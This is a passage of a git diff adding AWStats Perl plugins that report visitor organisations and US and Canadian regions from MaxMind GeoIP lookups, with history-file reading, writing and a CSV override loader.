$ip==6) { + print "<span style=\"color: #$color_other\">$Message[0]</span>"; + } + if (! $key) { + my $org = TmpLookup_geoip_org_maxmind($param); + if (!$org && $type eq 'geoippureperl') + { + $org=$geoip_org_maxmind->org_by_name($param) if $geoip_org_maxmind; + } + elsif(!$org) + { + $org=$geoip_org_maxmind->org_by_name($param) if $geoip_org_maxmind; + } + if ($Debug) { debug(" Plugin $PluginName: GetOrgByHostname for $param: [$org]",5); } + if ($org) { + if (length($org) <= $MAXLENGTH) { + print "$org"; + } + else { + print substr($org,0,$MAXLENGTH).'...'; + } + } + else { print "<span style=\"color: #$color_other\">$Message[0]</span>"; } + } + print "</td>"; + } + else { + print "<td> </td>"; + } + return 1; + # -----> +} + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: SectionInitHashArray_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +#----------------------------------------------------------------------------- +sub SectionInitHashArray_geoip_org_maxmind { +# my $param="$_[0]"; + # <----- + if ($Debug) { debug(" Plugin $PluginName: Init_HashArray"); } + %_org_p = %_org_h = %_org_k = %_org_l =(); + # -----> + return 0; +} + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: SectionProcessIP_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +#----------------------------------------------------------------------------- +sub SectionProcessIp_geoip_org_maxmind { + my $param="$_[0]"; # Param must be an IP + # <----- + my $org = TmpLookup_geoip_org_maxmind($param); + if (!$org && $type eq 'geoippureperl') + { + # Function org_by_addr does not exists in PurePerl but org_by_name do same + $org=$geoip_org_maxmind->org_by_name($param) if $geoip_org_maxmind; + } + elsif(!$org) + { + $org=$geoip_org_maxmind->org_by_addr($param) if $geoip_org_maxmind; + } + if ($Debug) { debug(" Plugin $PluginName: GetOrgByIp for $param: [$org]",5); } + if ($org) { + $org =~ s/\s/_/g; + $_org_h{$org}++; + } else { + $_org_h{'unknown'}++; + } +# if ($timerecord > $_org_l{$city}) { $_org_l{$city}=$timerecord; } + # -----> + return; +} + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: SectionProcessHostname_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +#----------------------------------------------------------------------------- +sub SectionProcessHostname_geoip_org_maxmind { + my $param="$_[0]"; # Param must be an IP + # <----- + my $org = TmpLookup_geoip_org_maxmind($param); + if (!$org && $type eq 'geoippureperl') + { + $org=$geoip_org_maxmind->org_by_name($param) if $geoip_org_maxmind; + } + elsif(!$org) + { + $org=$geoip_org_maxmind->org_by_name($param) if $geoip_org_maxmind; + } + if ($Debug) { debug(" Plugin $PluginName: GetOrgByHostname for $param: [$org]",5); } + if ($org) { + $org =~ s/\s/_/g; + $_org_h{$org}++; + } else { + $_org_h{'unknown'}++; + } +# if ($timerecord > $_org_l{$city}) { $_org_l{$city}=$timerecord; } + # -----> + return; +} + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: SectionReadHistory_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +#----------------------------------------------------------------------------- +sub SectionReadHistory_geoip_org_maxmind { + my $issectiontoload=shift; + my $xmlold=shift; + my $xmleb=shift; + my $countlines=shift; + # <----- + if ($Debug) { debug(" Plugin $PluginName: Begin of PLUGIN_$PluginName section"); } + my @field=(); + my $count=0;my $countloaded=0; + do { + if ($field[0]) { + $count++; + if ($issectiontoload) { + $countloaded++; + if ($field[2]) { $_org_h{$field[0]}+=$field[2]; } + } + } + $_=<HISTORY>; + chomp $_; s/\r//; + @field=split(/\s+/,($xmlold?XMLDecodeFromHisto($_):$_)); + $countlines++; + } + until ($field[0] eq "END_PLUGIN_$PluginName" || $field[0] eq "${xmleb}END_PLUGIN_$PluginName" || ! $_); + if ($field[0] ne "END_PLUGIN_$PluginName" && $field[0] ne "${xmleb}END_PLUGIN_$PluginName") { error("History file is corrupted (End of section PLUGIN not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).","","",1); } + if ($Debug) { debug(" Plugin $PluginName: End of PLUGIN_$PluginName section ($count entries, $countloaded loaded)"); } + # -----> + return 0; +} + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: SectionWriteHistory_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +#----------------------------------------------------------------------------- +sub SectionWriteHistory_geoip_org_maxmind { + my ($xml,$xmlbb,$xmlbs,$xmlbe,$xmlrb,$xmlrs,$xmlre,$xmleb,$xmlee)=(shift,shift,shift,shift,shift,shift,shift,shift,shift); + if ($Debug) { debug(" Plugin $PluginName: SectionWriteHistory_$PluginName start - ".(scalar keys %_org_h)); } + # <----- + print HISTORYTMP "\n"; + if ($xml) { print HISTORYTMP "<section id='plugin_$PluginName'><sortfor>$MAXNBOFSECTIONGIR</sortfor><comment>\n"; } + print HISTORYTMP "# Plugin key - Pages - Hits - Bandwidth - Last access\n"; + #print HISTORYTMP "# The $MaxNbOfExtra[$extranum] first number of hits are first\n"; + $ValueInFile{'plugin_geoip_org_maxmind'}=tell HISTORYTMP; + print HISTORYTMP "${xmlbb}BEGIN_PLUGIN_$PluginName${xmlbs}".(scalar keys %_org_h)."${xmlbe}\n"; + &BuildKeyList($MAXNBOFSECTIONGIR,1,\%_org_h,\%_org_h); + my %keysinkeylist=(); + foreach (@keylist) { + $keysinkeylist{$_}=1; + #my $page=$_org_p{$_}||0; + #my $bytes=$_org_k{$_}||0; + #my $lastaccess=$_org_l{$_}||''; + print HISTORYTMP "${xmlrb}$_${xmlrs}0${xmlrs}", $_org_h{$_}, "${xmlrs}0${xmlrs}0${xmlre}\n"; next; + } + foreach (keys %_org_h) { + if ($keysinkeylist{$_}) { next; } + #my $page=$_org_p{$_}||0; + #my $bytes=$_org_k{$_}||0; + #my $lastaccess=$_org_l{$_}||''; + print HISTORYTMP "${xmlrb}$_${xmlrs}0${xmlrs}", $_org_h{$_}, "${xmlrs}0${xmlrs}0${xmlre}\n"; next; + } + print HISTORYTMP "${xmleb}END_PLUGIN_$PluginName${xmlee}\n"; + # -----> + return 0; +} + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: LoadOverrideFile +# Attempts to load a comma delimited file that will override the GeoIP database +# Useful for Intranet records +# CSV format: IP,"organization" +#----------------------------------------------------------------------------- +sub LoadOverrideFile_geoip_org_maxmind{ + my $filetoload=""; + if ($OverrideFile){ + if (!open(GEOIPFILE, $OverrideFile)){ + debug("Plugin $PluginName: Unable to open override file: $OverrideFile"); + $LoadedOverride = 1; + return; + } + }else{ + my $conf = (exists(&Get_Config_Name) ? Get_Config_Name() : $SiteConfig); + if ($conf && open(GEOIPFILE,"$DirData/$PluginName.$conf.txt")) { $filetoload="$DirData/$PluginName.$conf.txt"; } + elsif (open(GEOIPFILE,"$DirData/$PluginName.txt")) { $filetoload="$DirData/$PluginName.txt"; } + else { debug("No override file \"$DirData/$PluginName.txt\": $!"); } + } + if ($filetoload) + { + # This is the fastest way to load with regexp that I know + while (<GEOIPFILE>){ + chomp $_; + s/\r//; + my @record = split(",", $_); + # replace quotes if they were used in the file + foreach (@record){ $_ =~ s/"//g; } + # store in hash + $TmpDomainLookup{$record[0]} = $record[1]; + } + close GEOIPFILE; + debug(" Plugin $PluginName: Overload file loaded: ".(scalar keys %TmpDomainLookup)." entries found."); + } + $LoadedOverride = 1; + return; +} + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: TmpLookup +# Searches the temporary hash for the parameter value and returns the corresponding +# GEOIP entry +#----------------------------------------------------------------------------- +sub TmpLookup_geoip_org_maxmind(){ + $param = shift; + if (!$LoadedOverride){&LoadOverrideFile_geoip_org_maxmind();} + #my $val; + #if ($geoip_org_maxmind && + #(($type eq 'geoip' && $geoip_org_maxmind->VERSION >= 1.30) || + # $type eq 'geoippureperl' && $geoip_org_maxmind->VERSION >= 1.17)){ + # $val = $TmpDomainLookup{$geoip_org_maxmind->get_ip_address($param)}; + #} + #else {$val = $TmpDomainLookup{$param};} + #return $val || ''; + return $TmpDomainLookup{$param}||''; +} + +1; # Do not remove this line diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/geoip_region_maxmind.pm b/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/geoip_region_maxmind.pm new file mode 100644 index 0000000..4c8b00c --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/geoip_region_maxmind.pm @@ -0,0 +1,663 @@ +#!/usr/bin/perl +#----------------------------------------------------------------------------- +# GeoIp_Region_Maxmind AWStats plugin +# This plugin allow you to add a region report with regions detected +# from a Geographical database (US and Canada). +# Need the licensed region database from Maxmind. +#----------------------------------------------------------------------------- +# Perl Required Modules: Geo::IP or Geo::IP::PurePerl +#----------------------------------------------------------------------------- +# $Revision: 1.21 $ - $Author: eldy $ - $Date: 2010/08/23 21:55:34 $ + + +# <----- +# ENTER HERE THE USE COMMAND FOR ALL REQUIRED PERL MODULES +use vars qw/ $type /; +$type='geoip'; +if (!eval ('require "Geo/IP.pm";')) { + $error1=$@; + $type='geoippureperl'; + if (!eval ('require "Geo/IP/PurePerl.pm";')) { + $error2=$@; + $ret=($error1||$error2)?"Error:\n$error1$error2":""; + $ret.="Error: Need Perl module Geo::IP or Geo::IP::PurePerl"; + return $ret; + } +} +# -----> +#use strict; +no strict "refs"; + + + +#----------------------------------------------------------------------------- +# PLUGIN VARIABLES +#----------------------------------------------------------------------------- +# <----- +# ENTER HERE THE MINIMUM AWSTATS VERSION REQUIRED BY YOUR PLUGIN +# AND THE NAME OF ALL FUNCTIONS THE PLUGIN MANAGE. +my $PluginNeedAWStatsVersion="6.5"; +my $PluginHooksFunctions="AddHTMLMenuLink AddHTMLGraph ShowInfoHost SectionInitHashArray SectionProcessIp SectionProcessHostname SectionReadHistory SectionWriteHistory"; +my $PluginName="geoip_region_maxmind"; +my $LoadedOverride=0; +my $OverrideFile=""; +# -----> + +# <----- +# IF YOUR PLUGIN NEED GLOBAL VARIABLES, THEY MUST BE DECLARED HERE. +use vars qw/ +%TmpDomainLookup +$geoip_region_maxmind +%_region_p +%_region_h +%_region_k +%_region_l +$MAXNBOFSECTIONGIR +%region +/; +my %countrylib=('ca'=>'Canada','us'=>'USA'); +my %countryregionlib=('ca'=>'Canadian Regions','us'=>'US regions'); +my %regca=( +'AB',"Alberta", +'BC',"British Columbia", +'MB',"Manitoba", +'NB',"New Brunswick", +'NF',"Newfoundland", +'NS',"Nova Scotia", +'NU',"Nunavut", +'ON',"Ontario", +'PE',"Prince Edward Island", +'QC',"Quebec", +'SK',"Saskatchewan", +'NT',"Northwest Territories", +'YT',"Yukon Territory" +); +my %regus=( +'AA',"Armed Forces Americas", +'AE',"Armed Forces Europe, Middle East, & Canada", +'AK',"Alaska", +'AL',"Alabama", +'AP',"Armed Forces Pacific", +'AR',"Arkansas", +'AS',"American Samoa", +'AZ',"Arizona", +'CA',"California", +'CO',"Colorado", +'CT',"Connecticut", +'DC',"District of Columbia", +'DE',"Delaware", +'FL',"Florida", +'FM',"Federated States of Micronesia", +'GA',"Georgia", +'GU',"Guam", +'HI',"Hawaii", +'IA',"Iowa", +'ID',"Idaho", +'IL',"Illinois", +'IN',"Indiana", +'KS',"Kansas", +'KY',"Kentucky", +'LA',"Louisiana", +'MA',"Massachusetts", +'MD',"Maryland", +'ME',"Maine", +'MH',"Marshall Islands", +'MI',"Michigan", +'MN',"Minnesota", +'MO',"Missouri", +'MP',"Northern Mariana Islands", +'MS',"Mississippi", +'MT',"Montana", +'NC',"North Carolina", +'ND',"North Dakota", +'NE',"Nebraska", +'NH',"New Hampshire", +'NJ',"New Jersey", +'NM',"New Mexico", +'NV',"Nevada", +'NY',"New York", +'OH',"Ohio", +'OK',"Oklahoma", +'OR',"Oregon", +'PA',"Pennsylvania", +'PR',"Puerto Rico", +'PW',"Palau", +'RI',"Rhode Island", +'SC',"South Carolina", +'SD',"South Dakota", +'TN',"Tennessee", +'TX',"Texas", +'UT',"Utah", +'VA',"Virginia", +'VI',"Virgin Islands", +'VT',"Vermont", +'WA',"Washington", +'WV',"West Virginia", +'WI',"Wisconsin", +'WY',"Wyoming" +); +my %region=( +'ca'=>\%regca, +'us'=>\%regus +); +# -----> + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: Init_pluginname +#----------------------------------------------------------------------------- +sub Init_geoip_region_maxmind { + my $InitParams=shift; + my $checkversion=&Check_Plugin_Version($PluginNeedAWStatsVersion); + $MAXNBOFSECTIONGIR=10; + + # <----- + # ENTER HERE CODE TO DO INIT PLUGIN ACTIONS + debug(" Plugin $PluginName: InitParams=$InitParams",1); + my ($mode,$tmpdatafile)=split(/\s+/,$InitParams,2); + my ($datafile,$override)=split(/\+/,$tmpdatafile,2); + if (! $datafile) { $datafile="GeoIPRegion.dat"; } + else { $datafile =~ s/%20/ /g; } + if ($type eq 'geoippureperl') { + # With pureperl we always use GEOIP_STANDARD. + # GEOIP_MEMORY_CACHE seems to fail with ActiveState + if ($mode eq '' || $mode eq 'GEOIP_MEMORY_CACHE') { $mode=Geo::IP::PurePerl::GEOIP_STANDARD(); } + else { $mode=Geo::IP::PurePerl::GEOIP_STANDARD(); } + } else { + if ($mode eq '' || $mode eq 'GEOIP_MEMORY_CACHE') { $mode=Geo::IP::GEOIP_MEMORY_CACHE(); } + else { $mode=Geo::IP::GEOIP_STANDARD(); } + } + if ($override){ $override =~ s/%20/ /g; $OverrideFile=$override; } + %TmpDomainLookup=(); + debug(" Plugin $PluginName: GeoIP initialized type=$type mode=$mode",1); + if ($type eq 'geoippureperl') { + $geoip_region_maxmind = Geo::IP::PurePerl->open($datafile, $mode); + } else { + $geoip_region_maxmind = Geo::IP->open($datafile, $mode); + } + $LoadedOverride=0; +# Fails with some geoip versions +# debug(" Plugin geoip_region_maxmind: GeoIP initialized database_info=".$geoip_region_maxmind->database_info()); + # -----> + + return ($checkversion?$checkversion:"$PluginHooksFunctions"); +} + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: AddHTMLMenuLink_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +#----------------------------------------------------------------------------- +sub AddHTMLMenuLink_geoip_region_maxmind { + my $categ=$_[0]; + my $menu=$_[1]; + my $menulink=$_[2]; + my $menutext=$_[3]; + # <----- + if ($Debug) { debug(" Plugin $PluginName: AddHTMLMenuLink"); } + if ($categ eq 'who') { + $menu->{"plugin_$PluginName"}=2.1; # Pos + $menulink->{"plugin_$PluginName"}=2; # Type of link + $menutext->{"plugin_$PluginName"}="Regions"; # Text + } + # -----> + return 0; +} + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: AddHTMLGraph_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +#----------------------------------------------------------------------------- +sub AddHTMLGraph_geoip_region_maxmind { + my $categ=$_[0]; + my $menu=$_[1]; + my $menulink=$_[2]; + my $menutext=$_[3]; + # <----- + my $ShowRegions='H'; + $MinHit{'Regions'}=1; + my $total_p; my $total_h; my $total_k; + my $rest_p; my $rest_h; my $rest_k; + + if ($Debug) { debug(" Plugin $PluginName: AddHTMLGraph"); } + my $title='Regions'; + &tab_head("$title",19,0,'regions'); + print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>US and CA Regions : ".((scalar keys %_region_h)-($_region_h{'unknown'}?1:0))."</th>"; + if ($ShowRegions =~ /P/i) { print "<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>"; } + if ($ShowRegions =~ /P/i) { print "<th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th>"; } + if ($ShowRegions =~ /H/i) { print "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>"; } + if ($ShowRegions =~ /H/i) { print "<th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>"; } + if ($ShowRegions =~ /B/i) { print "<th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>"; } + if ($ShowRegions =~ /L/i) { print "<th width=\"120\">$Message[9]</th>"; } + print "</tr>\n"; + $total_p=$total_h=$total_k=0; + my $count=0; + &BuildKeyList($MaxRowsInHTMLOutput,$MinHit{'Regions'},\%_region_h,\%_region_h); + # Group by country + my @countrylist=('ca','us'); + foreach my $country (@countrylist) { + print "<tr><td class=\"aws\"><b>".$countryregionlib{$country}."</b></td>"; + if ($ShowRegions =~ /P/i) { print "<td> </td>"; } + if ($ShowRegions =~ /P/i) { print "<td> </td>"; } + if ($ShowRegions =~ /H/i) { print "<td> </td>"; } + if ($ShowRegions =~ /H/i) { print "<td> </td>"; } + if ($ShowRegions =~ /B/i) { print "<td> </td>"; } + if ($ShowRegions =~ /L/i) { print "<td> </td>"; } + print "</tr>\n"; + foreach my $key (@keylist) { + if ($key eq 'unknown') { next; } + my ($countrycode,$regioncode)=split('_',$key); + if ($countrycode ne $country) { next; } + my $p_p; my $p_h; + if ($TotalPages) { $p_p=int($_region_p{$key}/$TotalPages*1000)/10; } + if ($TotalHits) { $p_h=int($_region_h{$key}/$TotalHits*1000)/10; } + print "<tr><td class=\"aws\">".$region{$countrycode}{uc($regioncode)}." ($regioncode)</td>"; + if ($ShowRegions =~ /P/i) { print "<td>".($_region_p{$key}?Format_Number($_region_p{$key}):" ")."</td>"; } + if ($ShowRegions =~ /P/i) { print "<td>".($_region_p{$key}?"$p_p %":' ')."</td>"; } + if ($ShowRegions =~ /H/i) { print "<td>".($_region_h{$key}?Format_Number($_region_h{$key}):" ")."</td>"; } + if ($ShowRegions =~ /H/i) { print "<td>".($_region_h{$key}?"$p_h %":' ')."</td>"; } + if ($ShowRegions =~ /B/i) { print "<td>".Format_Bytes($_region_k{$key})."</td>"; } + if ($ShowRegions =~ /L/i) { print "<td>".($_region_p{$key}?Format_Date($_region_l{$key},1):'-')."</td>"; } + print "</tr>\n"; + $total_p += $_region_p{$key}||0; + $total_h += $_region_h{$key}; + $total_k += $_region_k{$key}||0; + $count++; + } + } + if ($Debug) { debug("Total real / shown : $TotalPages / $total_p - $TotalHits / $total_h - $TotalBytes / $total_h",2); } + $rest_p=0; + $rest_h=$TotalHits-$total_h; + $rest_k=0; + if ($rest_p > 0 || $rest_h > 0 || $rest_k > 0) { # All other regions + print "<tr><td class=\"aws\"> </td>"; + if ($ShowRegions =~ /P/i) { print "<td> </td>"; } + if ($ShowRegions =~ /P/i) { print "<td> </td>"; } + if ($ShowRegions =~ /H/i) { print "<td> </td>"; } + if ($ShowRegions =~ /H/i) { print "<td> </td>"; } + if ($ShowRegions =~ /B/i) { print "<td> </td>"; } + if ($ShowRegions =~ /L/i) { print "<td> </td>"; } + print "</tr>\n"; + + my $p_p; my $p_h; + if ($TotalPages) { $p_p=int($rest_p/$TotalPages*1000)/10; } + if ($TotalHits) { $p_h=int($rest_h/$TotalHits*1000)/10; } + print "<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]/$Message[0]</span></td>"; + if ($ShowRegions =~ /P/i) { print "<td>".($rest_p?Format_Number($rest_p):" ")."</td>"; } + if ($ShowRegions =~ /P/i) { print "<td>".($rest_p?"$p_p %":' ')."</td>"; } + if ($ShowRegions =~ /H/i) { print "<td>".($rest_h?Format_Number($rest_h):" ")."</td>"; } + if ($ShowRegions =~ /H/i) { print "<td>".($rest_h?"$p_h %":' ')."</td>"; } + if ($ShowRegions =~ /B/i) { print "<td>".Format_Bytes($rest_k)."</td>"; } + if ($ShowRegions =~ /L/i) { print "<td> </td>"; } + print "</tr>\n"; + } + &tab_end(); + + # -----> + return 0; +} + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: GetCountryCodeByAddr_pluginname +# UNIQUE: YES (Only one plugin using this function can be loaded) +# GetCountryCodeByAddr is called to translate an ip into a country code in lower case. +#----------------------------------------------------------------------------- +# Rem: Not used +sub GetCountryCodeByAddr_geoip_region_maxmind { + my $param="$_[0]"; + # <----- + if (!$LoadedOverride){&LoadOverrideFile_geoip_region_maxmind();} + my $res=$TmpDomainLookup{$param}||''; + if (! $res) { + my ($res1,$res2,$countryregion)=(); + ($res1,$res2)=$geoip_region_maxmind->region_by_name($param) if $geoip_region_maxmind; + $res=lc($res1) || 'unknown'; + $TmpDomainLookup{$param}=$res; + if ($Debug) { debug(" Plugin $PluginName: GetCountryCodeByAddr for $param: [$res]",5); } + } + elsif ($Debug) { debug(" Plugin $PluginName: GetCountryCodeByAddr for $param: Already resolved to [$res]",5); } + # -----> + return $res; +} + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: GetCountryCodeByName_pluginname +# UNIQUE: YES (Only one plugin using this function can be loaded) +# GetCountryCodeByName is called to translate a host name into a country code in lower case. +#----------------------------------------------------------------------------- +# Rem: Not used +sub GetCountryCodeByName_geoip_region_maxmind { + my $param="$_[0]"; + # <----- + if (!$LoadedOverride){&LoadOverrideFile_geoip_region_maxmind();} + my $res=$TmpDomainLookup{$param}||''; + if (! $res) { + my ($res1,$res2,$countryregion)=(); + ($res1,$res2)=$geoip_region_maxmind->region_by_name($param) if $geoip_region_maxmind; + $res=lc($res1) || 'unknown'; + $TmpDomainLookup{$param}=$res; + if ($Debug) { debug(" Plugin $PluginName: GetCountryCodeByName for $param: [$res]",5); } + } + elsif ($Debug) { debug(" Plugin $PluginName: GetCountryCodeByName for $param: Already resolved to [$res]",5); } + # -----> + return $res; +} + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: ShowInfoHost_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +# Function called to add additionnal columns to the Hosts report. +# This function is called when building rows of the report (One call for each +# row). So it allows you to add a column in report, for example with code : +# print "<TD>This is a new cell for $param</TD>"; +# Parameters: Host name or ip +#----------------------------------------------------------------------------- +sub ShowInfoHost_geoip_region_maxmind { + my $param="$_[0]"; + # <----- + if ($param eq '__title__') { + my $NewLinkParams=${QueryString}; + $NewLinkParams =~ s/(^|&|&)update(=\w*|$)//i; + $NewLinkParams =~ s/(^|&|&)output(=\w*|$)//i; + $NewLinkParams =~ s/(^|&|&)staticlinks(=\w*|$)//i; + $NewLinkParams =~ s/(^|&|&)framename=[^&]*//i; + my $NewLinkTarget=''; + if ($DetailedReportsOnNewWindows) { $NewLinkTarget=" target=\"awstatsbis\""; } + if (($FrameName eq 'mainleft' || $FrameName eq 'mainright') && $DetailedReportsOnNewWindows < 2) { + $NewLinkParams.="&framename=mainright"; + $NewLinkTarget=" target=\"mainright\""; + } + $NewLinkParams =~ s/(&|&)+/&/i; + $NewLinkParams =~ s/^&//; $NewLinkParams =~ s/&$//; + if ($NewLinkParams) { $NewLinkParams="${NewLinkParams}&"; } + + print "<th width=\"80\">"; + print "<a href=\"".($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks?XMLEncode("$AWScript?${NewLinkParams}output=plugin_$PluginName"):"$StaticLinks.plugin_$PluginName.$StaticExt")."\"$NewLinkTarget>GeoIP<br />Region</a>"; + print "</th>"; + } + elsif ($param) { + # try loading our override file if we haven't yet + if (!$LoadedOverride){&LoadOverrideFile_geoip_region_maxmind();} + my $ip=0; + my $key; + if ($param =~ /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/) { # IPv4 address + $ip=4; + $key=$param; + } + elsif ($param =~ /^[0-9A-F]*:/i) { # IPv6 address + $ip=6; + $key=$param; + } + print "<td>"; + if ($key && $ip==4) { + my ($res1,$res2,$countryregion)=(); + my @res = TmpLookup_geoip_region_maxmind($param); + if (@res){ + $res1 = $res[0]; + $res2 = $res[1]; + }else{ + ($res1,$res2)=$geoip_region_maxmind->region_by_name($param) if $geoip_region_maxmind; + } + if ($Debug) { debug(" Plugin $PluginName: GetRegionByIp for $param: [${res1}_${res2}]",5); } + if (! $PluginsLoaded{'init'}{'geoip'}) { + # Show country + if ($res1 =~ /\w\w/) { print $DomainsHashIDLib{lc($res1)}||uc($res1); } + else { print "<span style=\"color: #$color_other\">$Message[0]</span>"; } + # Show region + if ($res1 =~ /\w\w/ && $res2 =~ /\w\w/) { + print " ("; + print $region{lc($res1)}{uc($res2)}; + print ")"; + } + } + else { + # Show region + if ($res1 =~ /\w\w/ && $res2 =~ /\w\w/) { + print $region{lc($res1)}{uc($res2)}; + } + else { print "<span style=\"color: #$color_other\">$Message[0]</span>"; } + } + } + if ($key && $ip==6) { + print "<span style=\"color: #$color_other\">$Message[0]</span>"; + } + if (! $key) { + my ($res1,$res2,$countryregion)=(); + my @res = TmpLookup_geoip_region_maxmind($param); + if (@res){ + $res1 = $res[0]; + $res2 = $res[1]; + }else{ + ($res1,$res2)=$geoip_region_maxmind->region_by_name($param) if $geoip_region_maxmind; + } + if ($Debug) { debug(" Plugin $PluginName: GetRegionByName for $param: [${res1}_${res2}]",5); } + if (! $PluginsLoaded{'init'}{'geoip'}) { + # Show country + if ($res1 =~ /\w\w/) { print $DomainsHashIDLib{lc($res1)}||uc($res1); } + else { print "<span style=\"color: #$color_other\">$Message[0]</span>"; } + # Show region + if ($res1 =~ /\w\w/ && $res2 =~ /\w\w/) { + print " ("; + print $region{lc($res1)}{uc($res2)}; + print ")"; + } + } + else { + # Show region + if ($res1 =~ /\w\w/ && $res2 =~ /\w\w/) { + print $region{lc($res1)}{uc($res2)}; + } + else { print "<span style=\"color: #$color_other\">$Message[0]</span>"; } + } + } + print "</td>"; + } + else { + print "<td> </td>"; + } + return 1; + # -----> +} + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: SectionInitHashArray_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +#----------------------------------------------------------------------------- +sub SectionInitHashArray_geoip_region_maxmind { +# my $param="$_[0]"; + # <----- + if ($Debug) { debug(" Plugin $PluginName: Init_HashArray"); } + %_region_p = %_region_h = %_region_k = %_region_l =(); + # -----> + return 0; +} + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: SectionProcessHostname_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +#----------------------------------------------------------------------------- +sub SectionProcessIp_geoip_region_maxmind { + my $param="$_[0]"; # Param must be an IP + # <----- + my ($res1,$res2,$countryregion)=(); + my @res = TmpLookup_geoip_region_maxmind($param); + if (@res){ + $res1 = $res[0]; + $res2 = $res[1]; + }else{ + ($res1,$res2)=$geoip_region_maxmind->region_by_name($param) if $geoip_region_maxmind; + } + if ($Debug) { debug(" Plugin $PluginName: GetRegionByIp for $param: [${res1}_${res2}]",5); } + if ($res2 =~ /\w\w/) { $countryregion=lc("${res1}_${res2}"); } + else { $countryregion='unknown'; } +# if ($PageBool) { $_region_p{$countryregion}++; } + $_region_h{$countryregion}++; +# if ($timerecord > $_region_l{$countryregion}) { $_region_l{$countryregion}=$timerecord; } + # -----> + return; +} + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: SectionProcessHostname_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +#----------------------------------------------------------------------------- +sub SectionProcessHostname_geoip_region_maxmind { + my $param="$_[0]"; # Param must be a hostname + # <----- + my ($res1,$res2,$countryregion)=(); + my @res = TmpLookup_geoip_region_maxmind($param); + if (@res){ + $res1 = $res[0]; + $res2 = $res[1]; + }else{ + ($res1,$res2)=$geoip_region_maxmind->region_by_name($param) if $geoip_region_maxmind; + } + if ($Debug) { debug(" Plugin $PluginName: GetRegionByName for $param: [${res1}_${res2}]",5); } + if ($res2 =~ /\w\w/) { $countryregion=lc("${res1}_${res2}"); } + else { $countryregion='unknown'; } +# if ($PageBool) { $_region_p{$countryregion}++; } + $_region_h{$countryregion}++; +# if ($timerecord > $_region_l{$countryregion}) { $_region_l{$countryregion}=$timerecord; } + # -----> + return; +} + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: SectionReadHistory_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +#----------------------------------------------------------------------------- +sub SectionReadHistory_geoip_region_maxmind { + my $issectiontoload=shift; + my $xmlold=shift; + my $xmleb=shift; + my $countlines=shift; + # <----- + if ($Debug) { debug(" Plugin $PluginName: Begin of PLUGIN_$PluginName"); } + my @field=(); + my $count=0;my $countloaded=0; + do { + if ($field[0]) { + $count++; + if ($issectiontoload) { + $countloaded++; + if ($field[2]) { $_region_h{$field[0]}+=$field[2]; } + } + } + $_=<HISTORY>; + chomp $_; s/\r//; + @field=split(/\s+/,($xmlold?XMLDecodeFromHisto($_):$_)); + $countlines++; + } + until ($field[0] eq "END_PLUGIN_$PluginName" || $field[0] eq "${xmleb}END_PLUGIN_$PluginName" || ! $_); + if ($field[0] ne "END_PLUGIN_$PluginName" && $field[0] ne "${xmleb}END_PLUGIN_$PluginName") { error("History file is corrupted (End of section PLUGIN not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).","","",1); } + if ($Debug) { debug(" Plugin $PluginName: End of PLUGIN_$PluginName section ($count entries, $countloaded loaded)"); } + # -----> + return 0; +} + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: SectionWriteHistory_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +#----------------------------------------------------------------------------- +sub SectionWriteHistory_geoip_region_maxmind { + my ($xml,$xmlbb,$xmlbs,$xmlbe,$xmlrb,$xmlrs,$xmlre,$xmleb,$xmlee)=(shift,shift,shift,shift,shift,shift,shift,shift,shift); + if ($Debug) { debug(" Plugin $PluginName: SectionWriteHistory_$PluginName start - ".(scalar keys %_region_h)); } + # <----- + print HISTORYTMP "\n"; + if ($xml) { print HISTORYTMP "<section id='plugin_$PluginName'><sortfor>$MAXNBOFSECTIONGIR</sortfor><comment>\n"; } + print HISTORYTMP "# Plugin key - Pages - Hits - Bandwidth - Last access\n"; + #print HISTORYTMP "# The $MaxNbOfExtra[$extranum] first number of hits are first\n"; + $ValueInFile{"plugin_$PluginName"}=tell HISTORYTMP; + print 